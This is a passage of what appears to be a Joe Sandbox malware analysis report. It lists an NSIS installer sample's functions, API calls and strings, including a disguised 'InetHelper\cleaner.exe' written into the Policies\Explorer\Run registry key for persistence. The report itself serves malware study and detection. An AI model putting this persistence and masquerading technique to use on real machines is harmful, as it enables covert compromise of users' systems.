CoTaskMemFree.OLE32(00000000), ref: 004065B3
lstrcatW.KERNEL32(SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run,\Microsoft\Internet Explorer\Quick Launch), ref: 004065D9
lstrlenW.KERNEL32(SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run,00000000,0043E708,?,00405487,0043E708,00000000), ref: 00406631

Strings

\Microsoft\Internet Explorer\Quick Launch, xrefs: 004065D3
Software\Microsoft\Windows\CurrentVersion, xrefs: 0040651B
SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run, xrefs: 00406434, 0040650F, 00406516, 0040651A, 00406534, 00406535, 0040654A, 0040655D, 00406579, 004065A4, 004065D8, 004065DE, 004065FA, 0040660D, 0040662A, 00406630, 0040663C, 0040666F

Memory Dump Source

Source File: 00000014.00000002.2227339617.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.2227312874.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227365379.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.0000000000412000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000041E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000045F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227684992.00000000004F1000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wnsCCC1.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskWindowslstrcatlstrlen
String ID: SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 717251189-3045395167
Opcode ID: 23f28206d8b90664ce3613e71128f54d67ce4c932df2e69045dd5148352027ec
Instruction ID: 4ff03c26a92b18a500a2dba0a5346c99a5613c7aa05bf40b8fc1f2faf6c00e92
Opcode Fuzzy Hash: 23f28206d8b90664ce3613e71128f54d67ce4c932df2e69045dd5148352027ec
Instruction Fuzzy Hash: 59612271A00101ABDF209F64DD85AAE37A5AF50314F22813FE507BA2D1EB3D8EA1C75D

Uniqueness

Uniqueness Score: -1.00%

Function 0040176F Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 145
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatW.KERNEL32(00000000,00000000), ref: 004017B0
CompareFileTime.KERNEL32(-00000014,?,InetHelper,InetHelper,00000000,00000000,InetHelper,004C9000,?,?,00000031), ref: 004017D5

Part of subcall function 004063E8: lstrcpynW.KERNEL32(?,?,00002000,00403576,00468240,NSIS Error,?,00000006,00000008,0000000A), ref: 004063F5

Part of subcall function 00405450: lstrlenW.KERNEL32(0043E708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000,?), ref: 00405488
Part of subcall function 00405450: lstrlenW.KERNEL32(00402F08,0043E708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000), ref: 00405498
Part of subcall function 00405450: lstrcatW.KERNEL32(0043E708,00402F08), ref: 004054AB
Part of subcall function 00405450: SetWindowTextW.USER32(0043E708,0043E708), ref: 004054BD
Part of subcall function 00405450: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004054E3
Part of subcall function 00405450: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004054FD
Part of subcall function 00405450: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040550B

Strings

SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run, xrefs: 00401835, 00401851
"C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe", xrefs: 00401821, 0040183F
InetHelper, xrefs: 0040178D, 004017A3, 004017B5, 004017C1, 004017F7, 0040180D, 0040182B, 00401867, 004018E8, 004018F1, 004018FB, 00401906

Memory Dump Source

Source File: 00000014.00000002.2227339617.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.2227312874.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227365379.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.0000000000412000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000041E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000045F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227684992.00000000004F1000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wnsCCC1.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: "C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe"$InetHelper$SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
API String ID: 1941528284-122770931
Opcode ID: 09b218e5e7aa004988234aef99607d2b4dfa3534dd7724c6f1d49ddbe7db769c
Instruction ID: ededab686cc318fc7e7b90f4c09e4a826d398c1608d56966c744d50d12e1e378
Opcode Fuzzy Hash: 09b218e5e7aa004988234aef99607d2b4dfa3534dd7724c6f1d49ddbe7db769c
Instruction Fuzzy Hash: 4841B571900518BADF107BA5CD85DAF3679EF4532DB20423FF416B10E2DB3C8A929A6D

Uniqueness

Uniqueness Score: -1.00%

Function 004032DE Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 101
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 004032F2

Part of subcall function 0040345D: SetFilePointer.KERNELBASE(00000000,00000000,00000000,0040315B,?), ref: 0040346B

SetFilePointer.KERNELBASE(00000000,00000000,?,00000000,00403208,00000004,00000000,00000000,?,?,00403182,000000FF,00000000,00000000,0040A230,?), ref: 00403325
SetFilePointer.KERNELBASE(006F3A2A,00000000,00000000,004266D0,00004000,?,00000000,00403208,00000004,00000000,00000000,?,?,00403182,000000FF,00000000), ref: 00403420

Strings

HA, xrefs: 004033A9
5=B, xrefs: 004033AE, 004033C7
timings}get isFromCache(){return this[Re]}pipe(m,f){if(this[At])throw new Error("Failed to pipe. The response has been emitted already.");return m instanceof a.ServerResponse&&this[fe].add(m),super.pipe(m,f)}unpipe(m){return m instanceof a.ServerResponse&&this, xrefs: 00403337, 004033D2
*:o, xrefs: 004032E1, 004033FE

Memory Dump Source

Source File: 00000014.00000002.2227339617.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.2227312874.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227365379.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.0000000000412000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000041E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000045F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227684992.00000000004F1000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wnsCCC1.jbxd

Similarity

API ID: FilePointer$CountTick
String ID: *:o$5=B$HA$timings}get isFromCache(){return this[Re]}pipe(m,f){if(this[At])throw new Error("Failed to pipe. The response has been emitted already.");return m instanceof a.ServerResponse&&this[fe].add(m),super.pipe(m,f)}unpipe(m){return m instanceof a.ServerResponse&&this
API String ID: 1092082344-71510955
Opcode ID: d6b178faf7be8bed1ce1700d2338eadcdcd7a4db5cb59746dbf71c5feed9a6d3
Instruction ID: fd4332e341476289c3f76e81f79fa789cc737db0b0adfb813ccc5192894bdc6c
Opcode Fuzzy Hash: d6b178faf7be8bed1ce1700d2338eadcdcd7a4db5cb59746dbf71c5feed9a6d3
Instruction Fuzzy Hash: C231B171600211DBC7209F26FE8496A3BA8F7643567C9423BEC40B62E0CB385D11DB1E

Uniqueness

Uniqueness Score: -1.00%

Function 0040264A Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 153
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadFile.KERNELBASE(?,?,?,?), ref: 004026B6
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,00000001), ref: 004026F1
SetFilePointer.KERNEL32(?,?,?,00000001,?,00000008,?,?,?,00000001), ref: 00402714
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,00000001,?,00000001,?,00000008,?,?,?,00000001), ref: 0040272A

Part of subcall function 00405FBF: SetFilePointer.KERNEL32(?,00000000,00000000,00000001), ref: 00405FD5

SetFilePointer.KERNEL32(?,?,?,00000001,?,?,00000002), ref: 004027D6

Strings

9, xrefs: 00402699

Memory Dump Source

Source File: 00000014.00000002.2227339617.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.2227312874.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227365379.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.0000000000412000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000041E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000045F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227684992.00000000004F1000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wnsCCC1.jbxd

Similarity

API ID: File$Pointer$ByteCharMultiWide$Read
String ID: 9
API String ID: 163830602-2366072709
Opcode ID: 624626f4f5892e412f857cef7a92b39e94472dde615dcc0e6b59693489985feb
Instruction ID: eb16fdd1ee542fe42bbdfa0ebba740301294627c6441dfc4cb46f4c2e9c1cdcc
Opcode Fuzzy Hash: 624626f4f5892e412f857cef7a92b39e94472dde615dcc0e6b59693489985feb
Instruction Fuzzy Hash: FF511A75D00219AEDF21DF95DA88AAEB775FF04304F50443BE905B72D0DBB89982CB18

Uniqueness

Uniqueness Score: -1.00%

Function 00406752 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00406769
wsprintfW.USER32 ref: 004067A4
LoadLibraryExW.KERNELBASE(?,00000000,00000008), ref: 004067B8

Strings

\, xrefs: 0040677A
UXTHEME, xrefs: 0040675B
%s%S.dll, xrefs: 0040679E

Memory Dump Source

Source File: 00000014.00000002.2227339617.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.2227312874.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227365379.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.0000000000412000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000041E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000045F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227684992.00000000004F1000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wnsCCC1.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll$UXTHEME$\
API String ID: 2200240437-1946221925
Opcode ID: 40aa1e09304642b089aa1993992f232c43871fa513f82abce0c0f0efb2bd037b
Instruction ID: 07f60acf873a648e61080255fd3e200204736070213a9ab7c1209ab7057fe03e
Opcode Fuzzy Hash: 40aa1e09304642b089aa1993992f232c43871fa513f82abce0c0f0efb2bd037b
Instruction Fuzzy Hash: 27F0FC70540219AECB10AB68ED0DFAB366CA700304F10447AA64AF20D1EB789A24C798

Uniqueness

Uniqueness Score: -1.00%

Function 00402598 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 69
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WideCharToMultiByte.KERNEL32(?,?,"C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe",000000FF,SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run,00002000,?,?,00000021), ref: 004025E8
lstrlenA.KERNEL32(SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run,?,?,"C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe",000000FF,SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run,00002000,?,?,00000021), ref: 004025F3

Strings

SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run, xrefs: 004025B3, 004025DA, 004025EE, 0040263A
"C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe", xrefs: 004025E1

Memory Dump Source

Source File: 00000014.00000002.2227339617.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.2227312874.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227365379.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.0000000000412000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000041E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000045F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227684992.00000000004F1000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wnsCCC1.jbxd

Similarity

API ID: ByteCharMultiWidelstrlen
String ID: "C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe"$SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
API String ID: 3109718747-572866773
Opcode ID: 79fe6349def6cc650f231a14f4b83c981983240ca263c31f9bdf3a4ba712873e
Instruction ID: 8a54b08748082a87d090de781de000be55bd47bcbf4860f745c9e519e4ad5c94
Opcode Fuzzy Hash: 79fe6349def6cc650f231a14f4b83c981983240ca263c31f9bdf3a4ba712873e
Instruction Fuzzy Hash: 66110872A05201BADB146BF18E8DA9F7664AF44398F20483BF502F21D1DDFC89815B5D

Uniqueness

Uniqueness Score: -1.00%

Function 00406943 Relevance: 7.7, APIs: 4, Strings: 1, Instructions: 198
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

timings}get isFromCache(){return this[Re]}pipe(m,f){if(this[At])throw new Error("Failed to pipe. The response has been emitted already.");return m instanceof a.ServerResponse&&this[fe].add(m),super.pipe(m,f)}unpipe(m){return m instanceof a.ServerResponse&&this, xrefs: 00406943

Memory Dump Source

Source File: 00000014.00000002.2227339617.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.2227312874.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227365379.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.0000000000412000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000041E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000045F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227684992.00000000004F1000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wnsCCC1.jbxd

Similarity

API ID:
String ID: timings}get isFromCache(){return this[Re]}pipe(m,f){if(this[At])throw new Error("Failed to pipe. The response has been emitted already.");return m instanceof a.ServerResponse&&this[fe].add(m),super.pipe(m,f)}unpipe(m){return m instanceof a.ServerResponse&&this
API String ID: 0-1897978588
Opcode ID: 5328a0701a0a32b67c374057837e60552721ea1a6811a44abe83e42546375677
Instruction ID: 55fc176551b00f8465723d30588461dcf2fc1d3195b414c524ee7a2fcbdbe87b
Opcode Fuzzy Hash: 5328a0701a0a32b67c374057837e60552721ea1a6811a44abe83e42546375677
Instruction Fuzzy Hash: 39815971E04228DBEF24CFA8C844BADBBB1FB45305F14816AD856BB2C1C7786986DF45

Uniqueness

Uniqueness Score: -1.00%

Function 004023E4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32("C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe",00000023,00000011,00000002), ref: 0040242F
RegSetValueExW.KERNELBASE(?,?,?,?,"C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe",00000000,00000011,00000002), ref: 0040246F
RegCloseKey.ADVAPI32(?,?,?,"C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe",00000000,00000011,00000002), ref: 00402557

Strings

"C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe", xrefs: 00402420, 0040242E, 00402445, 00402459, 00402464

Memory Dump Source

Source File: 00000014.00000002.2227339617.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.2227312874.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227365379.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.0000000000412000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000041E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000045F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227684992.00000000004F1000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wnsCCC1.jbxd

Similarity

API ID: CloseValuelstrlen
String ID: "C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe"
API String ID: 2655323295-1638566638
Opcode ID: 25f827e3e11746b9e5ee3687016ce8942fde3681089ea3dd2e236ad5f1a11635
Instruction ID: a6a83690551736ab877e244042d38f3be3a1a43997e1cd9886aee1f7f0d2369c
Opcode Fuzzy Hash: 25f827e3e11746b9e5ee3687016ce8942fde3681089ea3dd2e236ad5f1a11635
Instruction Fuzzy Hash: 10118471D00104BEEB10AFA5DE89EAEBB74AB44714F11803BF504F71D1DAF88D819B18

Uniqueness

Uniqueness Score: -1.00%

Function 004031D6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 88
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFilePointer.KERNELBASE(0040A230,00000000,00000000,00000000,00000000,?,?,00403182,000000FF,00000000,00000000,0040A230,?), ref: 004031FB

Strings

*:o, xrefs: 004031F0, 00403290, 004032D0

Memory Dump Source

Source File: 00000014.00000002.2227339617.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.2227312874.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227365379.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.0000000000412000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000041E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000045F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227684992.00000000004F1000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wnsCCC1.jbxd

Similarity

API ID: FilePointer
String ID: *:o
API String ID: 973152223-843036820
Opcode ID: 0cc0faf384b4c78b6fdc9eeda5bbee131a155eebafb64ec0174871a4b91cb037
Instruction ID: 354a74280fc320ddcd1a03d564711161fa861bb1e5dc1acee3c93741f06a9d18
Opcode Fuzzy Hash: 0cc0faf384b4c78b6fdc9eeda5bbee131a155eebafb64ec0174871a4b91cb037
Instruction Fuzzy Hash: AB316B30200219BBDB109F95ED44A9A3E68EB04759F20417EF904E61D0D7389E51DBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00405F0D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00405F2B
GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,004C1000,004034A3,004D1000,004D5000,004D5000,004D5000,004D5000,004D5000,74DF3420,004036EF), ref: 00405F46

Strings

nsa, xrefs: 00405F1A

Memory Dump Source

Source File: 00000014.00000002.2227339617.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.2227312874.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227365379.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.0000000000412000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000041E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000045F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227684992.00000000004F1000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wnsCCC1.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: nsa
API String ID: 1716503409-2209301699
Opcode ID: 0c62091ad8b50aef506abc269e58e4a43f33256201187c1c154fac6de66d8f01
Instruction ID: 076564571966e4dc9ef4834731be4d502634ae0aeddccfca5b4533d1bab5a213
Opcode Fuzzy Hash: 0c62091ad8b50aef506abc269e58e4a43f33256201187c1c154fac6de66d8f01
Instruction Fuzzy Hash: 14F09076601204FFEB009F59ED05E9BB7A8EB95750F10803AEE00F7250E6B49A548B68

Uniqueness

Uniqueness Score: -1.00%

Function 004059D1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,0045E730,Error launching installer), ref: 004059FA
CloseHandle.KERNEL32(?), ref: 00405A07

Strings

Error launching installer, xrefs: 004059E4

Memory Dump Source

Source File: 00000014.00000002.2227339617.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.2227312874.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227365379.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.0000000000412000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000041E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000045F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227684992.00000000004F1000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wnsCCC1.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: 8941ac05e4937e204e88b6b93cbbbbf1e6cab01e5c2f1d465c17e9c6e72d0440
Instruction ID: 7eb9064dadea35cbfc58acd36067de01cdd5d52a4e03f37d51203587584f4729
Opcode Fuzzy Hash: 8941ac05e4937e204e88b6b93cbbbbf1e6cab01e5c2f1d465c17e9c6e72d0440
Instruction Fuzzy Hash: 86E012B0610209BFEB00AFA0ED49F7B7AACFB08204F008921BD00F2191D774A9148A68

Uniqueness

Uniqueness Score: -1.00%

Function 00406F27 Relevance: 5.2, APIs: 4, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2227339617.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.2227312874.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227365379.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.0000000000412000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000041E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000045F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227684992.00000000004F1000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wnsCCC1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db40346bc9fd20083a39152eff8b5ac78f5cdc0ebc59631a5c9ad52422038ace
Instruction ID: 2bd06e12bed6e0bcd81d630d0cd78bd49004ac77cb8b5ebb757de7108a839e92
Opcode Fuzzy Hash: db40346bc9fd20083a39152eff8b5ac78f5cdc0ebc59631a5c9ad52422038ace
Instruction Fuzzy Hash: 1DA14471E04228CBDF28CFA8C8446ADBBB1FF44305F14806ED856BB281D7786A86DF45

Uniqueness

Uniqueness Score: -1.00%

Function 00407128 Relevance: 5.2, APIs: 4, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2227339617.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.2227312874.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227365379.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.0000000000412000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000041E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000045F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227684992.00000000004F1000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wnsCCC1.jbxd

Similarity

API ID:
String ID:
